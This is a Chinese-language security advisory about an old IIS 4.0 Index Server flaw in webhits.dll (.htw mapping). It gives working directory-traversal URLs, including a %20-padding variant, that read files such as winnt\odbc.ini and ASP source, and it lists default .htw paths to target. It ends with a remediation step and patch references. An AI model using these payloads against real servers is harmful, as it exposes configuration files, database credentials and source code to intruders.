web|原始碼 涉及程式:
Microsoft Internet Information Server/Index Server
描述:
震撼安全發現:新的漏洞允許查看web伺服器上任何檔案包括ASP源碼
詳細:
IIS4.0上有一個應用程式對應htw--->webhits.dll,這是用於Index Server的點擊功能的。儘管你不運行Index Server,該映
射仍然有效。這個應用程式對應存在漏洞,允許入侵者讀取本地硬碟上的檔案,資料庫檔案,和ASP原始碼!
有兩種方法來實現,第一,如果你的web server上存在.htw尾碼的檔案,則可以過下面的方式來查看檔案內容,比如查看
odbc.ini檔案的內容:
http://www.xxx.com/iissamples/issamples/oop/qfullhit.htw?
CiWebHitsFile=/../../winnt/odbc.ini&CiRestriction=none&CiHiliteType=Full
對於IIS的一般安裝模式可以在下列位置找到.htw檔案:
/iissamples/issamples/oop/qfullhit.htw
/iissamples/issamples/oop/qsumrhit.htw
/iissamples/exair/search/qfullhit.htw
/iissamples/exair/search/qsumrhit.htw
/iishelp/iis/misc/iirturnh.htw
第二、如果你的web server上不存在這個檔案,有漏洞的系統仍然允許使用者調用webhits.dll,具體方式如下:
http://www.xxx.com/default.htm%20%20%20%20%20.htw?
CiWebHitsFile=/../../winnt/odbc.ini&CiRestriction=none&CiHiliteType=Full
條件是default.htm必須存在。這個檔案名稱可以是其它檔案,但必須存在。webhits.dll將會把這個檔案作為臨時檔案開啟。當上
述URL中的空格符%20達到一定數目時,web服務的識別功能可能會出現問題,這樣webhits.dll將開啟指定的檔案
\winnt\odbc.ini。如果成功,用同樣的方法可以開啟更多的檔案,包括ASP代碼。近似的原理請見下面這段代碼:
FILE *fd;
int DoesTemplateExist(char *pathtohtwfile)
{
// Just in case inetinfo.exe passes too long a string
// let's make sure it's of a suitable length and not
// going to open a buffer overrun vulnerability
char *file;
file = (char *)malloc(250);
strncpy(file,pathtohtwfile,250);
fd = fopen(file,"r");
// Success
if(fd !=NULL)
{
return 1;
}
// failed
else
{
return 0;
}
}
解決方案:
不使用index server功能的使用者,可以在IIS管理主控台中,點 web網站,屬性,選擇主目錄,配置(起始點),應用程式對應,
將htw與webhits.dll的映射刪除。
如果要用到webhits.dll,則使用下面的補丁:
Index Server 2.0(Intel機器)的補丁
Index Server 2.0(Alpha機器)的補丁
Windows2000的Index Server服務補丁
安全建議:
建議在IIS控制台中刪除無用的應用程式對應
相關網站:
http://www.microsoft.com/technet/security/bulletin/ms00-006.asp
from: http://www.cnns.net/article/db/49.htm